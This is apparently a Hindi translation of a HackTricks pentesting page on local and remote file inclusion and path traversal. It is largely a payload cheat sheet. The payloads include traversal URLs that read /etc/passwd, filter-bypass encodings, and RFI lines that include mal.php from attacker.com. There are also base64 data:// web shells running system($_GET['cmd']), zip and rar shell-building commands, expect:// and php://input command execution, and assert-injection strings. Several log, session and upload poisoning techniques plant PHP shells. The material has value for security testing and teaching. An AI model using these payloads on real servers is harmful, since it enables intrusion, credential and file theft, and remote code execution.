File Inclusion/Path traversal

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इंसाइट्स हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक न्यूज़ तेज गति से हैकिंग दुनिया के साथ अप-टू-डेट रहें और नवीनतम समाचार और अंदरूनी दृष्टिकोणों के साथ

नवीनतम घोषणाएँ नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें

हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

फ़ाइल समावेश

दूरस्थ फ़ाइल समावेश (RFI): फ़ाइल एक दूरस्थ सर्वर से लोड की जाती है (सर्वश्रेष्ठ: आप कोड लिख सकते हैं और सर्वर इसे क्रियान्वित करेगा)। Php में यह डिसेबल होता है डिफ़ॉल्ट में (allow_url_include)। स्थानीय फ़ाइल समावेश (LFI): सर्वर स्थानीय फ़ाइल लोड करता है।

यह सुरक्षा दोष उस समय होता है जब उपयोगकर्ता किसी भी तरीके से सर्वर द्वारा लोड की जाने वाली फ़ाइल को नियंत्रित कर सकता है।

वंलरेबल PHP फ़ंक्शन्स: require, require_once, include, include_once

इस सुरक्षा दोष को शोधने के लिए एक दिलचस्प उपकरण: https://github.com/kurobeats/fimap

ब्लाइंड - दिलचस्प - LFI2RCE फ़ाइलें

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

लिनक्स

कई *निक्स LFI सूचियों को मिश्रित करके और अधिक पथ जोड़कर मैंने यह एक बनाया है:

आप / को \ के लिए बदलने की कोशिश करें आप ../../../../../ भी जोड़ने की कोशिश करें

एक सूची जो कई तकनीकों का उपयोग करती है फ़ाइल /etc/password को खोजने के लिए (यह देखने के लिए कि क्या यह दुरुस्ती मौजूद है) यहाँ पाई जा सकती है यहाँ

विंडोज

विभिन्न शब्द सूचियों का मिश्रण:

आप / को \ के लिए बदलने की कोशिश करें आप C:/ को हटाने और ../../../../../ जोड़ने की कोशिश करें

एक सूची जो कई तकनीकों का उपयोग करती है फ़ाइल /boot.ini को खोजने के लिए (यह देखने के लिए कि क्या यह दुरुस्ती मौजूद है) यहाँ पाई जा सकती है यहाँ

ओएस एक्स

लिनक्स की LFI सूची की जाँच करें.

मूल LFI और बायपास

सभी उदाहरण स्थानीय फ़ाइल समावेशन के लिए हैं लेकिन इसे दूरस्थ फ़ाइल समावेशन में भी लागू किया जा सकता है (पृष्ठ=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

ट्रावर्सल सीक्वेंसेस स्ट्रिप्ड गैर-पुनरावृत्तिकरण

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

नल बाइट (%00)

प्रदान की गई स्ट्रिंग के अंत में अधिक वर्ण जोड़ें (बाइपास: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

यह PHP 5.4 से हल हो गया है

कोडिंग

आप गैर मानक कोडिंग का उपयोग कर सकते हैं जैसे डबल URL कोडिंग (और अन्य):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

मौजूदा फ़ोल्डर से

शायद बैक-एंड फ़ोल्डर पथ की जांच कर रहा है:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

सर्वर पर फ़ाइल सिस्टम निर्देशिकाओं की जांच

सर्वर के फ़ाइल सिस्टम को विशेष तकनीकों का उपयोग करके निरंतर जांचा जा सकता है ताकि निर्देशिकाओं की पहचान की जा सके, केवल फ़ाइलों के बजाय। इस प्रक्रिया में निर्देशिका गहराई का निर्धारण करना शामिल है और विशिष्ट फ़ोल्डर की मौजूदगी की जांच करना। नीचे इसे प्राप्त करने के लिए एक विस्तृत विधि दी गई है:

  1. निर्देशिका गहराई का निर्धारण: अपनी वर्तमान निर्देशिका की गहराई का निर्धारण करें, /etc/passwd फ़ाइल को सफलतापूर्वक प्राप्त करके (यदि सर्वर लिनक्स-आधारित है)। एक उदाहरण URL निम्नलिखित ढंग से संरचित हो सकता है, जो तीन की गहराई को दर्शाता है:

http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. फोल्डर के लिए जांच: संदिग्ध फोल्डर का नाम URL में जोड़ें (जैसे, private), फिर /etc/passwd पर वापस नेविगेट करें। अतिरिक्त निर्देशिका स्तर को एक से बढ़ाने की आवश्यकता होती है:

http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. परिणामों का व्याख्या करें: सर्वर का प्रतिक्रिया दिखाता है कि क्या फ़ोल्डर मौजूद है:

  • त्रुटि / कोई आउटपुट नहीं: private फ़ोल्डर संभावित रूप से निर्दिष्ट स्थान पर मौजूद नहीं है।

  • /etc/passwd की सामग्री: private फ़ोल्डर की मौजूदगी पुष्टि करती है।

  1. रूढ़िवादी अन्वेषण: खोजे गए फ़ोल्डर को उपनिरीक्षण के लिए और भी जांचा जा सकता है उपनिरीक्षण या पारंपरिक स्थानीय फ़ाइल समावेशन (LFI) विधियों का उपयोग करके।

फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशित निर्देशिकाओं की जांच के लिए, पेलोड को अनुकूलित करें। उदाहरण के लिए, यदि जांचना है कि /var/www/ में private निर्देशिका है या नहीं (मानते हुए कि वर्तमान निर्देशिका 3 की गहराई पर है), तो इस्तेमाल करें:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

पथ कटौती तकनीक

पथ कटौती एक विधि है जिसका उपयोग वेब एप्लिकेशन में फ़ाइल पथ को मानिपुर्थ करने के लिए किया जाता है। यह अक्सर किसी सुरक्षा उपाय को छलकर निश्चित अतिरिक्त वर्णों को फ़ाइल पथ के अंत में जोड़ने के द्वारा प्रतिबंधित फ़ाइलों तक पहुंचने के लिए प्रयोग किया जाता है। लक्ष्य एक फ़ाइल पथ को तैयार करना है जो सुरक्षा उपाय द्वारा संशोधित किया जाए, फिर भी वांछित फ़ाइल को संकेत करता है।

PHP में, फ़ाइल पथ के विभिन्न प्रतिनिधित्व को बराबर माना जा सकता है क्योंकि फ़ाइल सिस्टम की प्रकृति के कारण। उदाहरण के लिए:

  • /etc/passwd, /etc//passwd, /etc/./passwd, और /etc/passwd/ सभी एक ही पथ के रूप में व्यवहार किए जाते हैं।

  • जब आखिरी 6 वर्ण passwd होते हैं, तो / जोड़ना (passwd/ बनाना) लक्षित फ़ाइल को बदल नहीं देता।

  • उसी तरह, अगर फ़ाइल पथ में .php जोड़ा जाता है (जैसे shellcode.php), तो अंत में /. जोड़ने से एक्सेस की जा रही फ़ाइल परिवर्तित नहीं होगी।

प्रदत्त उदाहरण दिखाते हैं कि /etc/passwd तक पहुंचने के लिए पथ कटौती का उपयोग कैसे किया जा सकता है, जो एक सामान्य लक्ष्य है क्योंकि इसमें संवेदनशील सामग्री होती है (उपयोगकर्ता खाता जानकारी)।

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

इन परिदृश्यों में, आवश्यक ट्रावर्सल की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर के कॉन्फ़िगरेशन पर निर्भर कर सकती है।

  • डॉट सेगमेंट्स और अतिरिक्त वर्णों का उपयोग: ट्रावर्सल सिक्वेंसेस (../) को अतिरिक्त डॉट सेगमेंट्स और वर्णों के साथ मिलाकर फ़ाइल सिस्टम में नेविगेट करने के लिए उपयोग किया जा सकता है, सर्वर द्वारा जोड़ी गई स्ट्रिंग को प्रभावी रूप से नजरअंदाज करते हुए।

  • आवश्यक ट्रावर्सल की संख्या निर्धारित करना: प्रयोग और त्रुटि के माध्यम से, कोई भी जी सकता है कि कितनी सटीक संख्या की ../ सिक्वेंसेस की आवश्यकता है ताकि रूट डायरेक्टरी और फिर /etc/passwd तक नेविगेट किया जा सके, सुनिश्चित करते हुए कि किसी भी जोड़ी गई स्ट्रिंग (जैसे .php) को न्यूट्रलाइज़ किया जाए लेकिन वांछित पथ (/etc/passwd) अटैक रहे।

  • एक नकली डायरेक्टरी के साथ शुरू करना: एक अस्तित्वहीन डायरेक्टरी के साथ पथ शुरू करना (जैसे a/) एक सामान्य अभ्यास है। यह तकनीक एक सावधानिक उपाय के रूप में या सर्वर के पथ पार्सिंग तर्क की आवश्यकताओं को पूरा करने के लिए उपयोग किया जाता है।

पथ कटौती तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल सिस्टम संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य कोई भी विभिन्न दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए अक्सर परीक्षण आवश्यक होता है।

यह सुरक्षा दोष PHP 5.3 में सुधारा गया था।

फ़िल्टर बाइपास ट्रिक्स

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

रिमोट फ़ाइल समावेश

PHP में यह डिफ़ॉल्ट रूप से अक्षम है क्योंकि allow_url_include बंद है। यह काम करने के लिए यह चालू होना चाहिए, और उस मामले में आप अपने सर्वर से एक PHP फ़ाइल को समाविष्ट कर सकते हैं और RCE प्राप्त कर सकते हैं:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

यदि किसी कारणवश allow_url_include On है, लेकिन PHP बाहरी वेबपेजों तक पहुंच को फ़िल्टर कर रहा है, इस पोस्ट के अनुसार, आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें बेस64 को डिकोड करने के लिए बी64 PHP कोड का उपयोग करें और RCE प्राप्त करें:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

पिछले कोड में, अंतिम +.txt इसलिए जोड़ा गया था क्योंकि हमलावर को एक स्ट्रिंग की आवश्यकता थी जो .txt में समाप्त होती है, इसलिए स्ट्रिंग उसके साथ समाप्त होती है और b64 डिकोड के बाद वह भाग केवल कचरा लौटाएगा और असली PHP कोड शामिल होगा (और इसलिए, क्रियान्वित होगा)।

php:// प्रोटोकॉल का उपयोग न करते हुए एक और उदाहरण हो सकता है:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python मूल तत्व

Python में इस तरह के कोड में:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

यदि उपयोगकर्ता file_name में पूर्ण पथ पास करता है, तो पिछला पथ केवल हटा दिया जाता है:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

यह इच्छित व्यवहार है जैसा कि दस्तावेज़ के अनुसार:

यदि कोई घटक एक पूर्ण मार्ग है, तो सभी पिछले घटक छोड़ दिए जाते हैं और जोड़ना पूर्ण मार्ग घटक से जारी रहता है।

जावा सूची निर्देशिकाएँ

ऐसा लगता है कि अगर आपके पास जावा में एक पथ अभिव्यक्ति है और आप एक निर्देशिका के लिए पूछते हैं बजाय एक फ़ाइल के, तो निर्देशिका की सूची वापस लौटाई जाएगी। यह अन्य भाषाओं में नहीं होगा (जैसा कि मुझे पता है)।

शीर्ष 25 पैरामीटर

यहाँ एक ऐसी शीर्ष 25 पैरामीटर की सूची है जो स्थानीय फ़ाइल समावेशन (LFI) सुरक्षा दोषों के लिए संवेदनशील हो सकते हैं (लिंक):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI का उपयोग PHP wrappers और protocols का उपयोग करके

php://filter

PHP फ़िल्टर्स डेटा पर सामान्य संशोधन कार्यों को करने की अनुमति देते हैं पहले जब यह पढ़ा या लिखा जाता है। यहाँ 5 श्रेणियाँ हैं:

  • string.rot13

  • string.toupper

  • string.tolower

  • string.strip_tags: डेटा से टैग हटाएं ("<" और ">" वाले वस्तुओं को)

  • ध्यान दें कि यह फ़िल्टर PHP के आधुनिक संस्करणों से गायब हो गया है

  • convert.base64-encode

  • convert.base64-decode

  • convert.quoted-printable-encode

  • convert.quoted-printable-decode

  • convert.iconv.* : एक विभिन्न encoding में परिवर्तित करता है (convert.iconv.<input_enc>.<output_enc>)। समर्थित सभी encodings की सूची प्राप्त करने के लिए कंसोल में चलाएं: iconv -l

convert.iconv.* परिवर्तन फ़िल्टर का दुरुपयोग करके आप कल्पित पाठ उत्पन्न कर सकते हैं, जो कल्पित पाठ लिखने या कल्पित पाठ बनाने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें LFI2RCE via php filters

  • zlib.deflate: सामग्री को संकुचित करें (जानकारी को बहुत सारा निकालने के लिए उपयोगी)

  • zlib.inflate: डेटा को अनसंकुचित करें

  • mcrypt.* : पुराना

  • mdecrypt.* : पुराना

  • अन्य फ़िल्टर्स

  • php में var_dump(stream_get_filters()); चलाकर आप कुछ अप्रत्याशित फ़िल्टर्स पा सकते हैं:

  • consumed

  • dechunk: HTTP chunked encoding को उल्टा करता है

  • convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

भाग "php://filter" case insensitive है

php://fd

यह wrapper प्रक्रिया द्वारा खोले गए फ़ाइल डिस्क्रिप्टर तक पहुँचने की अनुमति देता है। खोली गई फ़ाइलों की सामग्री को बाहर निकालने के लिए संभावना है:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

आप php://stdin, php://stdout और php://stderr का उपयोग करके फ़ाइल डिस्क्रिप्टर 0, 1 और 2 को पहुंचने के लिए कर सकते हैं (यह कैसे हमले में उपयोगी हो सकता है, इसके बारे में निश्चित नहीं है)

zip:// और rar://

एक Zip या Rar फ़ाइल अपलोड करें जिसमें एक PHPShell हो और इसे एक्सेस करें। रार प्रोटोकॉल का दुरुपयोग करने के लिए इसे विशेष रूप से सक्रिय किया जाना चाहिए।

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

डेटा://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

कृपया ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन द्वारा प्रतिबंधित है allow_url_open और allow_url_include**

expect://

Expect को सक्रिय किया जाना चाहिए। आप इसका उपयोग करके कोड को निष्पादित कर सकते हैं:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

इनपुट://

POST पैरामीटर में अपना पेयलोड निर्दिष्ट करें:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

एक .phar फ़ाइल का उपयोग PHP कोड को निष्पादित करने के लिए किया जा सकता है जब एक वेब एप्लिकेशन फ़ाइल लोडिंग के लिए include जैसे फ़ंक्शन का उपयोग करता है। नीचे दिए गए PHP कोड स्निपेट में .phar फ़ाइल बनाने का प्रदर्शन किया गया है:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar फ़ाइल को कॉम्पाइल करने के लिए, निम्नलिखित कमांड को निष्पादित किया जाना चाहिए:

php --define phar.readonly=0 create_path.php

जब एक्यूशन होता है, तो एक फ़ाइल नामक test.phar बनाई जाएगी, जिसे संभावित रूप से स्थानीय फ़ाइल समावेशन (LFI) संरचनाओं का उपयोग करने के लिए उपयोग किया जा सकता है।

उन मामलों में जहाँ LFI केवल फ़ाइल पढ़ने का कार्य करता है बिना PHP कोड को नहीं चलाता है, जैसे कि file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), या filesize() के माध्यम से, तो डेसीरियलाइज़ेशन वंशीकरण का उपयोग किया जा सकता है। यह भ्रांतियों के साथ जुड़ा होता है जो phar प्रोटोकॉल का उपयोग करके फ़ाइलों को पढ़ने से संबंधित है।

.phar फ़ाइलों के संदर्भ में डेसीरियलाइज़ेशन भ्रांतियों का शोधन के लिए विस्तृत समझने के लिए नीचे दिए गए दस्तावेज़ का संदर्भ देखें:

Phar Deserialization Exploitation Guide

pagephar:// deserialization

अधिक प्रोटोकॉल

जांचें और संभावित यहाँ समाविष्ट करने के लिए** प्रोटोकॉल:**

  • php://memory और php://temp — मेमोरी में लिखें या एक अस्थायी फ़ाइल में (यह कैसे एक फ़ाइल समावेशन हमले में उपयोगी हो सकता है, इसके बारे में स्पष्ट नहीं है)

  • file:// — स्थानीय फ़ाइल प्रणाली तक पहुँचना

  • http:// — HTTP(s) URLs तक पहुँचना

  • ftp:// — FTP(s) URLs तक पहुँचना

  • zlib:// — संपीड़न स्ट्रीम्स

  • glob:// — पैटर्न के साथ मेल खाती पथनामें खोजें (यह कुछ प्रिंट करने योग्य नहीं है, इसलिए यहाँ वास्तव में उपयोगी नहीं है)

  • ssh2:// — सुरक्षित शैली 2

  • ogg:// — ऑडियो स्ट्रीम्स (विचार्य फ़ाइलों को पढ़ने के लिए उपयोगी नहीं है)

PHP के 'assert' के माध्यम से LFI

PHP में स्थानीय फ़ाइल समावेशन (LFI) जोखिम विशेष रूप से 'assert' फ़ंक्शन के साथ होते हैं, जो स्ट्रिंग के भीतर कोड को निष्पादित कर सकता है। यह विशेष रूप से समस्यात्मक है अगर इनपुट में डायरेक्टरी ट्रावर्सल वाले वर्ण जैसे ".." शामिल हो और उन्हें ठीक से सैनिटाइज़ नहीं किया जाता है।

उदाहरण के लिए, PHP कोड में डायरेक्टरी ट्रावर्सल को रोकने के लिए निम्नलिखित रूप से डिज़ाइन किया जा सकता है:

assert("strpos('$file', '..') === false") or die("");

जब यह ट्रावर्सल को रोकने का उद्देश्य रखता है, तो यह अनजाने में कोड इन्जेक्शन के लिए एक वेक्टर बना देता है। फ़ाइल सामग्री पढ़ने के लिए इसका शोषण करने के लिए हमलावर निम्नलिखित का उपयोग कर सकता है:

' and die(highlight_file('/etc/passwd')) or '

उसी तरह, अन्य सिस्टम कमांड को निषेधाज्ञा देने के लिए कोई भी इस्तेमाल कर सकता है:

' and die(system("id")) or '

ये payloads URL-encode करना महत्वपूर्ण है

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करने के लिए जुड़ें!

हैकिंग इंसाइट्स हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक न्यूज़ रियल-टाइम न्यूज़ और इंसाइट्स के माध्यम से हैकिंग विश्व के तेजी से बदलते माहौल में अपड

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

ईमेल के माध्यम से

एक मेल भेजें एक आंतरिक खाते (user@localhost) को जिसमें आपका PHP पेलोड शामिल है जैसे <?php echo system($_REQUEST["cmd"]); ?> और कोशिश करें कि उपयोगकर्ता के मेल में शामिल करें एक पथ के साथ जैसे /var/mail/<USERNAME> या /var/spool/mail/<USERNAME>

/proc/*/fd/* के माध्यम से

  1. बहुत सारे शैल अपलोड करें (उदाहरण के लिए: 100)

  2. शामिल करें http://example.com/index.php?page=/proc/$PID/fd/$FD, $PID = प्रक्रिया का PID (ब्रूट फोर्स किया जा सकता है) और $FD फ़ाइल डिस्क्रिप्टर है (यह भी ब्रूट फोर्स किया जा सकता है)

/proc/self/environ के माध्यम से

एक लॉग फ़ाइल की तरह, यूज़र-एजेंट में पेलोड भेजें, यह /proc/self/environ फ़ाइल के अंदर प्रतिबिंबित होगा

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

अपलोड के माध्यम से

यदि आप एक फ़ाइल अपलोड कर सकते हैं, तो उसमें शैल पेलोड इंजेक्ट करें (जैसे: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

ज़िप फ़ाइल अपलोड के माध्यम से

एक ज़िप फ़ाइल अपलोड करें जिसमें एक PHP शैल संकुचित हो और पहुंचें:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP सत्र के माध्यम से

जांचें कि वेबसाइट PHP सत्र (PHPSESSID) का उपयोग करती हैं

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP में ये सेशन /var/lib/php5/sess\[PHPSESSID]_ फ़ाइलों में स्टोर किए जाते हैं।

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

यहाँ कुकी को <?php system('cat /etc/passwd');?> सेट करें।

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

एलएफआई का उपयोग करें ताकि PHP सत्र फ़ाइल को समाहित किया जा सके।

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

एसएसएच के माध्यम से

यदि एसएसएच सक्रिय है, तो जांचें कि कौन सा उपयोगकर्ता उपयोग किया जा रहा है (/proc/self/status & /etc/passwd) और <HOME>/.ssh/id_rsa तक पहुंचने का प्रयास करें।

वाया vsftpd लॉग

FTP सर्वर vsftpd के लॉग /var/log/vsftpd.log पर स्थित हैं। जब एक स्थानीय फ़ाइल समावेशन (LFI) दुरुपयोग संभावना होती है, और एक उजागर vsftpd सर्वर तक पहुंच संभव होती है, तो निम्नलिखित कदम विचारित किए जा सकते हैं:

  1. लॉगिन प्रक्रिया के दौरान उपयोगकर्ता फ़ील्ड में एक PHP पेलोड इंजेक्ट करें।

  2. इंजेक्शन के बाद, LFI का उपयोग करके /var/log/vsftpd.log से सर्वर लॉग्स प्राप्त करें।

फ़िल्टर के माध्यम से php base64 (base64 का उपयोग करके)

इस लेख में दिखाया गया है कि PHP base64 फ़िल्टर केवल Non-base64 को नजरअंदाज करता है। आप इसका उपयोग फ़ाइल एक्सटेंशन की जांच को छलकरने के लिए कर सकते हैं: यदि आप उस बेस64 प्रदान करते हैं जो ".php" से समाप्त होता है, तो यह बस "." को नजरअंदाज करेगा और "php" को बेस64 में जोड़ देगा। यहाँ एक उदाहरण पेलोड है:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

फाइल शामिल करने के माध्यम से php फ़िल्टर्स के माध्यम से (कोई फ़ाइल की आवश्यकता नहीं)

यह लेख स्पष्ट करता है कि आप php फ़िल्टर्स का उपयोग करके विचित्र सामग्री को उत्पन्न कर सकते हैं। जिसका मतलब है कि आप फ़ाइल में लिखने की आवश्यकता नहीं है को शामिल करने के लिए विचित्र php कोड उत्पन्न कर सकते हैं।

pageLFI2RCE via PHP Filters

सेगमेंटेशन फॉल्ट के माध्यम से

एक फ़ाइल अपलोड करें जो /tmp में अस्थायी रूप से संग्रहीत की जाएगी, फिर उसी अनुरोध में, एक सेगमेंटेशन फॉल्ट को ट्रिगर करें, और फिर अस्थायी फ़ाइल मिटाई नहीं जाएगी और आप उसे खोज सकते हैं।

pageLFI2RCE via Segmentation Fault

Nginx अस्थायी फ़ाइल संग्रहण के माध्यम से

यदि आपने स्थानीय फ़ाइल समावेशन पाया है और Nginx PHP के सामने चल रहा है तो आप निम्नलिखित तकनीक के साथ RCE प्राप्त कर सकते हैं:

pageLFI2RCE via Nginx temp files

PHP_SESSION_UPLOAD_PROGRESS के माध्यम से

यदि आपने स्थानीय फ़ाइल समावेशन पाया है भले ही आपके पास कोई सत्र न हो और session.auto_start Off है। यदि आप मल्टीपार्ट POST डेटा में PHP_SESSION_UPLOAD_PROGRESS प्रदान करते हैं, तो PHP आपके लिए सत्र सक्षम कर देगा। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:

pageLFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Windows में अस्थायी फ़ाइल अपलोड के माध्यम से

यदि आपने स्थानीय फ़ाइल समावेशन पाया है और सर्वर Windows में चल रहा है तो आप RCE प्राप्त कर सकते हैं:

pageLFI2RCE Via temp file uploads

phpinfo() (file_uploads = on) के माध्यम से

यदि आपने स्थानीय फ़ाइल समावेशन पाया है और एक फ़ाइल phpinfo() को उजागर कर रही है जिसमें file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:

pageLFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + पथ भेद

यदि आपने स्थानीय फ़ाइल समावेशन पाया है और आप अस्थायी फ़ाइल का पथ निकाल सकते हैं लेकिन सर्वर यह जांच रहा है कि समावेश की जाने वाली फ़ाइल में PHP मार्क्स हैं तो आप इस रेस कंडीशन के साथ उस जांच को छलना करने की कोशिश कर सकते हैं:

pageLFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

अनंत प्रतीक्षा + ब्रूटफ़ोर्स के माध्यम से

यदि आप LFI का दुरुपयोग करके अस्थायी फ़ाइलें अपलोड कर सकते हैं और सर्वर को PHP क्रियान्वयन में फंसा सकते हैं, तो आप फिर घंटों तक अस्थायी फ़ाइलें खोजने के लिए फ़ाइलों का ब्रूटफ़ोर्स कर सकते हैं:

pageLFI2RCE via Eternal waiting

फेटल त्रुटि के लिए

यदि आप /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar में से किसी भी फ़ाइल को शामिल करते हैं। (आपको उसी को 2 बार शामिल करना होगा ताकि वह त्रुटि फेंके।)

मुझे नहीं पता कि यह कितना उपयोगी है लेकिन यह हो सकता है। यदि आप PHP फेटल त्रुटि का कारण बनाते हैं, तो PHP अस्थायी रूप से अपलोड की गई फ़ाइलें हटा दी जाती हैं।

संदर्भ

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इंसाइट्स हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक समाचार तेजी से बदलते हुए हैकिंग विश्व के साथ रियल-टाइम समाचार और अंदाज़ में रहें

